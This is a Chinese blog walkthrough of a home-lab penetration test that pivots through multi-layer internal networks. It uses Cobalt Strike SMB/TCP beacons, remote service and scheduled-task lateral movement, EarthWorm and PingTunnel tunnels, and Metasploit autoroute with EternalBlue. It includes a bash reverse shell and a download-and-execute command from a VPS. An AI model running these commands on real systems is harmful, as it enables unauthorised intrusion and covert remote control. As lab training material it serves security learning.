以前不是说要讲隧道吗??? 鸽了这么久终于想起来了!!!
1.本次实验环境拓扑
先来讲一下本次的实验环境吧,这样会更加清晰明了一点
首先我们是拿到了win7,然后最终目标上线内网的Win10
2.CS自带SMBbeacon上线
什么是smbbeacon呢??我前面的博客讲过,这个beacon最大的一个特点,就是你在上线内网的机器之前,需要建立IPC连接,否则不行(如果别人关闭了IPC连接就只能换别的了)
首先去创建对应的监听器和木马(stageless)
::你好(6)
然后先去建立IPC连接
然后不管你什么方法也好,计划任务啊,服务啊,之类的都好,让这个木马运行起来
但是这个时候还是没有机器上线的,因为你还需要去link他一下
link owa.god.org
可以看见是以派生的会话上线的
至此,我们拿下了第一层。
这时候我们再去看看winserver2016的ip
- server2016 192.168.52.130
- server2008 192.168.52.138
然后我们继续上面的操作
????? 怎么个事 ???? 还建立不了。看一下防火墙?
牛魔,原来开了防火墙,那我们关一下 !!! 果然是他在捣乱
那么后面我们的操作就很熟悉了
shell copy smbbeacon上线多层内网.exe \\192.168.52.130\c$
shell sc \\192.168.52.130 create test binpath= "cmd.exe /c c:\smbbeacon上线多层内网.exe"
shell sc \\192.168.52.130 start test
link 192.168.52.130
成功继续上线
终于,到了最后一台Win10了!!! 还是老样子,先看IP
- Win10 192.168.111.132
- Winserver2016 192.168.111.130
那么,开始吧!!!!
这个过程还是说一下哈,如果人家电脑开了防火墙或者装了杀软(火绒)IPC都是建立不成功的
至此,已成艺术!!! 整个内网就穿了!!!!
3.CS自带TCPbeacon上线
在开始之前,还是先把刚才的连接给清除掉
接着就是去生成对应的TCP监听器和对应的木马了!!(记住对应的端口噢)
:::你好,我是TCP上线多层内网的木马
然后我们又一次回到了起点
那么,就开始渗透!!!
那么还是老样子,先是去建立IPC连接吧!!
然后我们这一次来计划任务横向移动吧 !!!
shell copy tcp.exe \\192.168.52.138\c$
shell schtasks /create /s 192.168.52.138 /tn tcp /sc onstart /tr c:\tcp.exe /ru system /f
shell schtasks /run /s 192.168.52.138 /i /tn "tcp"
connect owa.god.org 9191 ---->这个就是上面创建监听器的时候的端口
至此,一层沦陷!!!
然后就是去打二层了,有了上面渗透时候的IP,我们就不用再去看IP了
直接开始 肾透就完事了
IPC ok!!!
横向 ok!! ok个鸡
你猜猜为什么我笑不出来
按常理来说,能建立IPC,能传文件,但是为什么不能运行计划任务呢????
那么换个思路,我们用服务来试试!!!
shell sc \\192.168.52.140 create test binpath= "cmd.exe /c c:\tcp.exe"
shell sc \\192.168.52.140 start test
connect 192.168.52.140 9191
欸嘿,这就能上线!!!! 就很奇怪,所以在现实生活中也是,如果这个不行,就换那个
至此,二层内网沦陷 !! 那么,我们在尝试用计划任务横向最后的内网!!!
md,我真是艹了,能复制,能访问,tmd创建不了计划任务,那就换服务!!!
真是无语了,看来以后都还是用服务吧!!!!
看来服务还是比计划任务好(命令也短,也可以隐藏,也可以伪装)
4.EW实现内网穿透
上面已经讲解了用CS打穿企业的方法,但是,不知道大家发现没有,我们用的服务器都是Windows,然而现实生活中,别人根本不会用到Windows服务器(大部分不会),所以,我就来打算搭建一个Linux连通内网的网络拓扑!!!
:接下来,就是更加真实的企业环境实战!!!!
1.新的企业拓扑
我们的目的就是从 Ubuntu入手,打到win10,接下来,就是好戏上场啦!!!!
2.拿下Ubuntu
我们先去扫一扫
看到有一个8080端口,先去访问一下
学过框架的都知道,这是thinkphp,可能存在框架漏洞(现实生活中也真的有可能会碰到这样的一个界面,我就碰到过!!!)
那么我们就上工具吧!!
那Linux咋远控???上线CS(可以下crossc2插件上线,不过很复杂,这里就不细说),那我们能不能弹他的shell出来!!
bash -i >& /dev/tcp/192.168.246.1/9191 0>&1
然后我们在本地用NC去监听
然后直接弹shell!!!
但是大哥??? 我shell呢??
这样的情况下,只有两种可能
1.防火墙,IPS阻断了
2.这是一个docker环境,很多环境都没得
首先排除第一种可能(牛魔的我哪里来的IPS) 所以我们再去看看判断docker环境
cat /proc/1/cgroup
ls -al docker.env
无敌,还真是docker!!
那么我们就要docker逃逸咯!! 但是docker逃逸很本章的隧道技术无关,所以我就直接忽略这个过程了!!!
::我是已经拿到逃了docker拿到root的shell的贵族
这里我就用msf远控啦
通过查看IP,我们可以看见有一个52的内网网段
于是我们可以开始做隧道,我们先传一个EW上去
然后我们开代理
chmod 777 ew
./ew -s ssocksd -l 9191 & //其中&是让他在后台运行,不妨碍我们执行其他命令
然后我们就可以通过fscan探测内网了
但是就无敌了,明明这个网段有,但是我们扫不到
nmap就更牛魔了,硬生生的给我多出来几百台主机
算了还是传个fscan上去吧。。。。。(一般在真实红队中,都不会轻易地传文件)
果然,一传上去就正常了!!!!成功找到有永恒之蓝的两台机器
那么我们就去试试用永恒之蓝操作一下??(希望别翻车啊)
但是你以为会成功吗???
确实能扫描出来,但是你就会发现一直打不成功
这时候呢,一般有两种可能
- 人家是内网,你回连不了
但是我可以这么说,这是不正确的 !!!因为我把所有环境都部署在了本地的虚拟机,所以存在网络摇曳的状况!! 我试过将流量通过公网服务器转发 ,发现是能成功地
那咋办,我们咋搞??
没事还是先上线一波cs吧,毕竟我喜欢图像化的渗透界面
http://公网VPS/shell > /dev/shm/shell && chmod +x /dev/shm/shell && /dev/shm/shell && rm -f /dev/shm/shell
感觉怎么样,是不是有点像powershell的无文件落地的上线模式,其实这个严格意义上来说也不算无文件落地,他还是下载了文件的,只不过删掉了而已。
但是无论如何,我们还是成功上线了
当然了,CS是不支持上线Linux的,你要用CrossC2这个插件(这个我会讲)
但是问题又来了,我们以前都是Windows去横向的,怎么进行Linux横向呢???
:::我看看CrossC2的插件先
可以看见是有FRP的,但是怎么说呢FRP这个工具确实是强大,但是很麻烦!!! 不够轻量级!!!! 说到轻量级还得是EarthWorm啊!!!
3.隧道搭建
于是我们可以搭个隧道玩玩咯!!!!!!
先传上去
然后让他在后台运行!!! 再上一次fscan
然后你就会发现,当你fscan扫着扫着的时候,就会因为连接不稳定,直接终止了ew这个进程(我真是无语了!!!!)
算了还是直接搭建隧道吧。。。。。。
去Windows Server上开ew,先来看一下ew的一些参数
-s state setup the function.You can pick one from the
following options:
ssocksd , rcsocks , rssocks ,
lcx_listen , lcx_tran , lcx_slave
-l listenport open a port for the service startup.
-d refhost set the reflection host address.
-e refport set the reflection port.
-f connhost set the connect host address .
-g connport set the connect port.
-h help show the help text, By adding the -s parameter,
you can also see the more detailed help.
-a about show the about pages
-v version show the version.
-t usectime set the milliseconds for timeout. The default
然后我们就来开始吧,现在我们是已经拿下了Ubuntu了,那么假设我们想办法通过一些web服务横向到了Win7,然后我们想要做隧道
我们就需要在Ubuntu上执行
./ew -s lcx_listen -l 6666 -e 7777
什么意思呢? 意思就是通过ew 在本地监听一个6666端口, 然后将6666端口的流量转发的7777端口上!!!!!
然后,我们再去Win7上执行这么一个命令
ew.exe -s lcx_slave -d 192.168.52.141 -e 7777 -f 192.168.52.138 -g 8888
继续解释一下,这个命令,就是通过ew 远程连接我们Ubuntu的7777端口 并且将这个流量转发给Winserver的8888端口
然后假设,我们在Win7上,通过什么pth,ptt,ms14-068,非约束性委派拿到了域控Winserver的shell,然后我们去查看他的网卡
发现他还有一个22的网段,于是我们选择继续横向!!!!
于是,我们在Winserver上继续用ew
ew.exe -s lcx_listen -l 8888 -e 4444
这样,我们就从8888端接口接受了来自Win7的流量,并且转发到本地的4444端口
接着,可能通过钓鱼什么的,或者域内直接上线,又拿下了Winserver的shell,然后发现他又是双网卡!!! ------->还有一个111网段
于是,我们有了最后一步网络拓扑图
也就是直接上线Win10的3389了,那我们只需要在Winserver执行这样的一个命令
ew.exe -s lcx_slave -d 192.168.22.136 -e 4444 -f 192.168.111.132 -g 3389
这样,我们就通过EW将WinServer的4444端口的流量转发到了办公区win10的3389端口上!!!!!
然后,我们就可以直接访问Ubuntu本地的6666端口,就等于直接访问了Win10的3389端口了!!!! (不过有点慢,毕竟你可是跳了三张网卡!!)
看 3 4 5都是我用来实验的网卡,直接远程桌面到工作区的电脑
为了防止有人不信,我展示一下一路上的流量
当然了,CS的流量我在后台运行了,所以没显示!!!这样,就是整个环境的拓扑。
5.PingTunnel上线(Failed~~)
首先声明一下,这个实验的时候我是失败了的(搞得我托了好久!!)。但是,他的思路是没有问题的,这里还是分享一下思路!!!
首先就要去下载工具吧
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel -type server
然后去将这个工具分别传上去!!! 网络拓扑如下
然后我们就是去在VPS上运行这个命令
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel -type server
然后去跳板机上面执行这样的命令
pingtunnel.exe -type client -l 127.0.0.1:4466 -s VPS -t VPS:9988 -tcp 1 -noprint 1 -nolog 1
当然了这个命令中的本地的端口和VPS上的端口都是随便写的(但是你别写一些周知端口)
但是就会很奇怪,能显示两边正在通信,但是隧道打不通。。。。。
PingTunnel上线CS
这个也是一个很好的思路,因为我icmp隧道打不成功,所以无法复现。。。。
先去CS上创建两个监听器,一个绑定127.0.0.1 一个绑定你的VPS
然后用127的那个监听器生成木马
然后在跳板机执行这样的命令
pingtunnel.exe -type client -l 127.0.0.1:61861 -s VPS -t VPS:61861 -tcp 1 -noprint 1 -nolog 1
相信这时候你也能发现了!!!
这时候的流量就是 木马 ———> 127.0.0.161861 ——Pingtunnel——>VPS:61861(上线)
这个思路是可以的,网上也有人对应进行复现,但是我没有环境,就不复现了。。
——————————>
真不是我想水啊
6.MSF写路由
这个也是一个用msf打内网的方法。 先来看一下网络拓扑
那么我们首先毫无疑问的就是要先给Ubuntu上马啦!
这个怎么上马我就不教了,大家都会,然后我们就拿到了一个meterpreter!!!
然后就是信息收集,发现除了一个 246网段,还有一个52网段!!!
那么我们就开始写路由
run get_local_subnets
run autoroute -s 192.168.52.141/24
run autoroute -p
然后假设我们知道了另一台52网段的win7的ip是192.168.52.143,而且还存在永恒之蓝。
那么我们开始渗透
bg
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.143
run
可以建议先用模块扫一遍,看一下有没有永恒之蓝
然后就用模块开打
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.52.143
run
但是呢,我还是那句话,虚拟机网络摇曳,打不通啊(真无语了)
不过现实攻防中应该是可以的,你们可以去尝试一下。当你拿下对面的主机之后,只要再加一层路由就可以了!!!